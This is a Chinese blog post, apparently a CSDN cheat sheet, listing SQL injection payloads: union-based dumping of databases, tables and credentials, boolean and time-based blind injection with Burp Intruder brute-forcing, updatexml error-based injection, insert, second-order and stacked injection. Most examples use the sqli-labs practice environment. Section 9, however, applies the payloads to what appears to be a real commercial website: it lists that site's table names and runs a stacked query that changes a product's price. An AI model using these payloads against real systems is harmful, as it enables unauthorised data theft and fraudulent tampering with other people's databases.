网络安全攻防——SQL注入

0、常用查询

数据库名

# 查询所有数据库
?id=0' union select 1, group_concat(schema_name),3 from information_schema.schemata %23

表名

# 查询某一个数据库的所有表
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where 
table_schema='数据库名' %23

# 用limit 来一个一个找
?id=-3' union select 1,1,table_name from information_schema.tables where table_schema=database() limit 0,1 %23

# 直接用group_concat来找出所有表名,查询当前数据库
?id=-3' union select 1,1,group_concat(table_name) from information_schema.tables where table_schema=database() %23

表结构

?id=-3' union select 1,1,group_concat(COLUMN_NAME) from INFORMATION_SCHEMA.Columns where table_schema=database() and table_name='表名'  %23

某些情况下把表名字符串(不包括引号)通过转换成0x16进制,去掉单引号,前加0x

数据全查询

?id=0' union select 1,group_concat(username),group_concat(password) from users %23

1、or+limit全局查询

or 1 可以与任何形式组合成真。在查询中,用如下的语句来进行全局查找,可以一行一行的输入表中的内容

?id=1' or 1 limit 0,1 %23

在post登录情景下,如果知道用户名admin,则可以用admin'# 来闭合,当不知道用户名时,可以使用任何形式拼接or 1的方法实现闭合d' or 1 # ,也可以实现查询d' or 1 limit 0,1 #

2、联合查询基础

union之后是查询语句,查询的条数与数据库表的结构一致,所以需要通过order by准确判断出表有几栏。

  • 当查到的内容会显示在页面的占位符中时,union之前取假值,可以用负数或者and 1=2在登录情境下,可以用不正确的用户名,需要判断出每一栏在页面中显示的位置。
  • 假如页面中我们查询的内容并不是显示占位中,那显示结果可能隐藏在页面中没有显示出来,如当输入错误时候,页面才会显示出错误提示,这时我们需要让union前面的条件为真。

特别注意: 当查询字段是sql关键字时需要用单引号包裹。

3、bool盲注与爆破

问题:正确显示就显示固定字符,不正确不显示。

解决: 可以通过显示不显示来判断是否是正确的

查询数据库名

# 判断数据库名的长度=8,通过<9显示信息,<8不显示信息
?id=1' and length(database())< num  %23

# 判断数据库名的第一个字符是115,ascII中是字符s,通过<116显示信息,<115不显示信息
?id=1' and ord( substr(database(),1,1))<num %23

# 判断数据库名的第二个字符是101,ascII中是字符e
?id=1' and ord(substr(database(),2,1) )<num %23

# 然后逐步判断出数据库名全部的8个字符

查询表名

# 开始查询表名  limit控制第几个表,substr 控制某个表名的字符
# Notice : 注意,查询表的语句要放在括号里,即:?id=1' and ord(substr((查询表的语句),1,1 )) = 101 %23 
# 通过判断是否显示来判断<num是否为真,num代表ascII背后的字符

# 查询表名的长度 ***多加一个括号***
?id=1' and length((select table_name from information_schema.tables where  table_schema=database()limit 0,1))< num  %23

# 查询表名
?id=1' and ord(substr((select table_name from information_schema.tables where  table_schema=database()limit 0,1),1,1 )) < num %23

使用brup爆破

浏览器开启代理,输入需要计算表名的代码如下:

?id=1' and ord(substr((select table_name from information_schema.tables where  table_schema=database() limit 0,1),1,1 )) = 9 %23

在brup中进行拦截,并将其发送到intruder中,在Positions中,将需要改变的两个变量进行add,方式选择cluste bomb方式,因为var1每次去一个值都需要var2取遍全值。

# 需要改变var1和var2的值
?id=1' and ord(substr((select table_name from information_schema.tables where  table_schema=database() limit 0,1),var1,1 )) = var2 %23

在这里插入图片描述
然后Payloads中对两个变量规定范围,此时,var1类型为Numbers取值为1-5(因为可以测出表名为5个字符,当然可以大于5),var2类型为Numbers取值为48-122(ascii中从0到z),所以选择如下

在这里插入图片描述

然后进行爆破即可。

在这里插入图片描述

完成后根据Length或者status找出不同,然后根据Payload1从1到5对应出Payload2的值即可。

4、time盲注

问题:正确显示就显示固定字符串,不正确也显示固定字符串。

解决: 利用页面时间延时来判断,代码if (1<2,sleep(5),1) 如果正确的话就睡眠5s,看一下F12network网络里面的时间进行判断

判断闭合方式

?id=1" and if((1=1),sleep(5),1) %23  #延时5072ms
?id=1" and if((1=2),sleep(5),1) %23  #延时88ms
# 说明闭合成功

查询数据库的名称开始

# 判断数据库名的长度=8,通过<9显示信息,<8不显示信息
?id=1" and if((length(database())=8),sleep(5),1) %23

# 判断数据库名的第一个字符是115,ascII中是字符s,通过<115显示信息,<118不显示信息
?id=1" and if((ord(substr(database(),1,1))=115),sleep(5),1) %23

# 判断数据库名的第二个字符是101,ascII中是字符e
?id=1" and if((ord(substr(database(),2,2))=101),sleep(5),1) %23

# 然后逐步判断出数据库名全部的8个字符

查询表名开始

# 开始查询表名  limit控制第几个表,substr 控制某个表名的字符
# Notice : 注意,查询表的语句要放在括号里,即:
# ?id=1' and ord(substr((查询表的语句),1,1 )) = 101 %23 
# 通过判断是否显示来判断<num是否为真,num代表ascII背后的字符

?id=1" and if((ord(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1) %23   

5、利用updatexml()报错注入

利用updatexml(XML_document, XPath_string, new_value)进行报错注入

场景:有些时候,使用联合查询需要先判断出行数,而行数有些时候因为网页的复杂难以判别,所以可以利用报错的信息,在报错信息中显示查询的内容

格式: 1' or updatexml(1,concat(0x7e,user(),0x7e),1) # user()可以换成select语句,

sql 的语法理解帮助构造注入语句:select username from tb_user where userid=1 and updatexml(1,concat('~',(select database()),'~'),3); 可以在错误信息中显示数据库的名称

问题: 错误信息显示只能显示固定的前31个字符,所以有时需要利用substr(str,开始位置,结束位置) 函数来显示。开始位置从1开始

# 利用错误函数一条一条爆出表名 ,select后只能查询一条信息
1' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) #

# 利用错误函数爆出全部表名,显示前30个字符
1' or updatexml(1,substr(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1,30),1) #               
               
# 利用错误函数爆出全部表名,显示后30个字符
1' or updatexml(1,substr(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),31,60),1) #

6. 插入/更改注入

场景:在注册,留言板模块,插入语句并不是查询语言,不能显示一些信息,可以结合报错注入进行注入。

格式:’ or updatexml(1,concat(0x7e,user(),0x7e),1),’’,’’,’’,’’,’’) #

在插入注入时判断闭合方式是否正确往往看注册成功与否

# 报错函数结合插入注入爆出表名
' or updatexml(1,substr(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1,30),1),'','','','','') # 

7. 删除注入

8.二次注入

场景:也是在插入操作中,因为使用了 addslashes 或者是借助 get_magic_quotes_gpc 对插入的特殊字符进行了转义,导致注入失败,但是addslashes虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据,在将数据存入到了数据库中之后,下一次需要进行查询的时候,直接从数据库中取出了脏数据,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

案例: 注册登陆后修改密码

sqlilab-24

在账户和密码处发现不能闭合,没有注入点,因为代码中进行了转义,点击注册处,注册处可能存在插入注入,用报错注入发现也不行,然后注册了一个正常账号,登陆,发现可以修改密码,考虑二次注入。

注册admin' #,然后登陆后直接修改密码可以修改管理员admin的密码

原理是用户admin' # 存储到数据库中,当需要修改密码时,执行update table set password='xxx' where username='admin' # ' and password ='admin的密码'。此时的#已经把后面的密码验证给注释了,所以能顺利修改admin 的密码。

9. 堆查询注入

堆查询是什么? 一堆语句,可以同时执行。中间用;号分开。

与联合查询的区别,联合查询顾名思义是查询,只能是select语句,插入更改删除不能在联合中。如下会报错:

select * from tb_user union update tb_user set username='admin03' where userid=2;

ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'update tb_user set username='admin03' where userid=2' at line 1

堆查询不会报错:如下:

select * from tb_user;update tb_user set username='admin03' where userid=2;

应用场景:某商品价格1000元,自己账户只有1元,联合查询注入只能显示内容,此时并不能实现用1元购买1000元商品,所以考虑将商品价格更改为0.5元,但是联合查询不能更改,可以用堆注入进行价格的修改。

案例: https://tooqq.com/

有6个

https://tooqq.com/home/index/confirm?id=175) and 1=2 union select 1,2,3,group_concat(table_name),database(),6 from information_schema.tables where table_schema=database() %23 &num=1&t=0.12912184857840947

think_act,think_bmd,think_goods,think_ip,think_jfconfig,think_jflist,think_jfset,think_kucun,think_orderlist,think_server,think_user

https://tooqq.com/home/index/confirm?id=175) and 1=2 union select 1,2,3,group_concat(COLUMN_NAME),database(),6 from information_schema.tables where table_schema=database() and table_name=‘think_bmd’ %23 &num=1&t=0.12912184857840947

https://tooqq.com/home/index/confirm?id=175) ; update think_goods set price=39 where id=175 %23 &num=1&t=0.12912184857840947

10、一些函数总结

limit 详解:

limit a,b :从第a+1行开始显示b行数据,a从0开始计数,limit 3,2表示第4行第5行。通过limit 0,1 , limit 1,1 , limit 2…可以逐个遍历,当然也可以使用group_concat()函数一次性输出。

limit的限定是两个union语句联合执行后的限定,即:

select ..union select  limit 相当于 (select ..union select) limit

limit (0,1) 第一行

limit (1,1) 第2行

limit (1,2) 第2,3行

limit (2,2) 第3,4行

11、总结与归纳

  • 盲注在正常状态下也可以使用的

  • 关于or的坑:注意id值和第几行的值的不同,因为id的值与第几行并一定相等,id=199的数据可能在第三行,所以用?id=1' or 1 limit 0,1 来进行全局查找。

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

孤旅青山迷情人

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值